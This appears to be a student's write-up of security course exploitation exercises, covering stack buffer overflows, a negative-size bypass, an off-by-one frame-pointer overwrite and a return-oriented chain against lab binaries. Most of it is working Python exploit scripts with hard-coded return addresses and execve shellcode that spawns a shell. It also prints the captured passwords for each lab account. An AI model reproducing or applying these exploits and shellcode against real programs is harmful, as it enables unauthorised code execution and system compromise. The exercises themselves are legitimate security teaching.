Newer
Older
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
The makefile is interesting and I think the professor tried his best to
make the program unsafe.
Just run gdb and see what happens:
```
invoke -d dejavu
break deja_vu
run
x/24i $pc
#- ---------------
=> 0xb7ffc4ab <deja_vu+6>: sub $0xc,%esp
0xb7ffc4ae <deja_vu+9>: lea -0x10(%ebp),%eax
0xb7ffc4b1 <deja_vu+12>: push %eax
0xb7ffc4b2 <deja_vu+13>: call 0xb7ffc75e <gets>
0xb7ffc4b7 <deja_vu+18>: add $0x10,%esp
0xb7ffc4ba <deja_vu+21>: nop
0xb7ffc4bb <deja_vu+22>: leave
0xb7ffc4bc <deja_vu+23>: ret
0xb7ffc4bd <main>: lea 0x4(%esp),%ecx
0xb7ffc4c1 <main+4>: and $0xfffffff0,%esp
0xb7ffc4c4 <main+7>: pushl -0x4(%ecx)
0xb7ffc4c7 <main+10>: push %ebp
0xb7ffc4c8 <main+11>: mov %esp,%ebp
0xb7ffc4ca <main+13>: push %ecx
0xb7ffc4cb <main+14>: sub $0x4,%esp
0xb7ffc4ce <main+17>: call 0xb7ffc4a5 <deja_vu>
0xb7ffc4d3 <main+22>: mov $0x0,%eax
0xb7ffc4d8 <main+27>: add $0x4,%esp
0xb7ffc4db <main+30>: pop %ecx
0xb7ffc4dc <main+31>: pop %ebp
0xb7ffc4dd <main+32>: lea -0x4(%ecx),%esp
0xb7ffc4e0 <main+35>: ret
0xb7ffc4e1 <dummy>: ret
0xb7ffc4e2 <dummy1>: ret
```
Then we go to the call instruction.
```
break *0xb7ffc4b2
c
```
I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready.
Now I can see
```
pwnable:~$ ./exploit
dumb-shell $ id
uid=1002(smith) gid=1001(vsftpd) groups=1001(vsftpd)
dumb-shell $ cat README
You have to let it all go. Fear, doubt, and disbelief. Free your mind.
Next username: smith
Next password: 37ZFBrAPm8
```
My code is attached below
```
#!/usr/bin/python3
def fuck8(txt):
assert(len(txt) == 8)
return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2]
def revert(txt):
assert(len(txt) % 8 == 0)
res = ""
for i in range(int(len(txt) / 8)):
res += fuck8(txt[i*8:(i+1)*8])
return res
fill = "0123456789abcdef0123456789abcdef01234567"
#cs161-ace# raddr = "bffffa40"
#cs161-atw# raddr = "bffffad0"
raddr = "bffffad0"
#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a"
########################################################################################### <- append an endline (0x0a, \n)
payload = revert(fill) + revert(raddr) + (shellcode)
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
Just do as what I did in problem 1. I can see the return address is 0x00400775, stored at &msg+128+20.
Because the buffer is large enough, I'll put payload here. &msg is 0xbffffa18, so I must change 0x00400775
to 0xbffffa18.
Oh I didn't tell you how should I bypass the `size` limit. Just put a `-1` and enjoy your day.
Now I can see
```
pwnable:~$ ./exploit
j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ
�
/home/smith $ id
uid=1003(brown) gid=1002(smith) groups=1002(smith)
/home/smith $ cat README
Welcome to the real world.
Next username: brown
Next password: mXFLFR5C62
```
My code is attached below.
```
#!/usr/bin/python3
def fuck8(txt):
assert(len(txt) == 8)
return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2]
def revert(txt):
assert(len(txt) % 8 == 0)
res = ""
for i in range(int(len(txt) / 8)):
res += fuck8(txt[i*8:(i+1)*8])
return res
raddr = "bffffa18"
#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a"
length_to_fill = 20 + 128 - int(len(shellcode)/2)
fill = "01" * length_to_fill
int8_neg1 = "ff"
payload = int8_neg1 + (shellcode) + fill + revert(raddr)
#print(payload)
import binascii
b = binascii.unhexlify(payload)
with open('/dev/fd/1','wb') as f:
f.write(b)
```
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
## 3
The question is off-by-one overflow problem. After reading aslr.pdf figure 30, I know that I should set %ebp to &buf[0] (0xbffffa40), and put the new return address in &buf[1], and put the payload. So I should overflow an "40" to %ebp. Now I'll do it.
However, after implementing the solution above, ./debug-exploit works but ./exploit doesn't. That's because overflowed "0x40" xor "1<<5" yields "`", which is beaking the shell (in the buggy exploit script). So I shift everything 4 bytes right. Now %ebp is set to &buf[1] and new return address is set to &buf[2] and overflowed byte is "44". Now everything is OK.
```
pwnable:~$ ./exploit
#Eg#EgL���j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ
D���9���'�������]���'��� ���4���
/home/brown $ cat README
Remember, all I'm offering is the truth. Nothing more.
Next username: jz
Next password: cqkeuevfIO
```
My `./arg` is still attached below. Note that my `./egg` is empty.
```
#!/usr/bin/python3
def fuck8(txt):
assert(len(txt) == 8)
return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2]
def revert(txt):
assert(len(txt) % 8 == 0)
res = ""
for i in range(int(len(txt) / 8)):
res += fuck8(txt[i*8:(i+1)*8])
return res
## The FUCKING silly script booms the shell because overflow="40"="`".
## cs161-atw
#raddr = "bffffa48"
##shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
#shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a"
#
#overflow = "40"
#buf0 = "01234567"
#
#length_to_fill = 64 - 8 - int(len(shellcode)/2)
#fill = "01" * length_to_fill
#
#payload = buf0 + revert(raddr) + (shellcode) + fill + overflow
## cs161-atw
raddr = "bffffa4c"
#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a"
overflow = "44"
buf0 = "01234567"
length_to_fill = 64 - 8 - 4 - int(len(shellcode)/2)
fill = "01" * length_to_fill
payload = buf0 + buf0 + revert(raddr) + (shellcode) + fill + overflow
import binascii
b = binascii.unhexlify(payload)
b = bytes([byte^(1<<5) for byte in b])
with open('/dev/fd/1','wb') as f:
f.write(b)
```
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
## 4
## 5
- motivation
I noticed the following content in `objdump -d agent-jones`:
```
8048680: 89 c8 mov %ecx,%eax
8048682: 89 45 0c mov %eax,0xc(%ebp)
8048685: 8b 45 08 mov 0x8(%ebp),%eax
8048688: 23 45 0c and 0xc(%ebp),%eax
804868b: 5d pop %ebp
804868c: c3 ret
...
08048930 <__do_global_ctors_aux>:
8048930: 55 push %ebp
8048931: 89 e5 mov %esp,%ebp
8048933: 53 push %ebx
8048934: 52 push %edx
8048935: bb dc 9e 04 08 mov $0x8049edc,%ebx
804893a: 8b 03 mov (%ebx),%eax
804893c: 83 f8 ff cmp $0xffffffff,%eax
804893f: 74 07 je 8048948 <__do_global_ctors_aux+0x18>
8048941: ff d0 call *%eax
8048943: 83 eb 04 sub $0x4,%ebx
8048946: eb f2 jmp 804893a <__do_global_ctors_aux+0xa>
8048948: 58 pop %eax
8048949: 5b pop %ebx
804894a: 5d pop %ebp
804894b: c3 ret
```
I can set `%ebp` to any fixed address, then return to 0x08048680. Because `&buf` is in `%ecx`, then value of `0xc(%ebp)` will be `&&buf`. Then put `%ebp+0xc` (that's a fixed address) onto stack, return to `0x08048949`, and now we have `&&buf` in `%ebx`. Then return to `0x0804893a`, `(%ebx)` is sent to `%eax` and jumps to `&buf`, we win!
However, we need a fixed-address writable page to put `%ebp`. The page `0x08048000 - 0x08049000` is not writable. I'm so lucky that the page starts at `0x0804a000` works! So I set the "fixed address" to `0x0804a790`.
- implementation
Please see the image below. The procedure is too complicated to explain.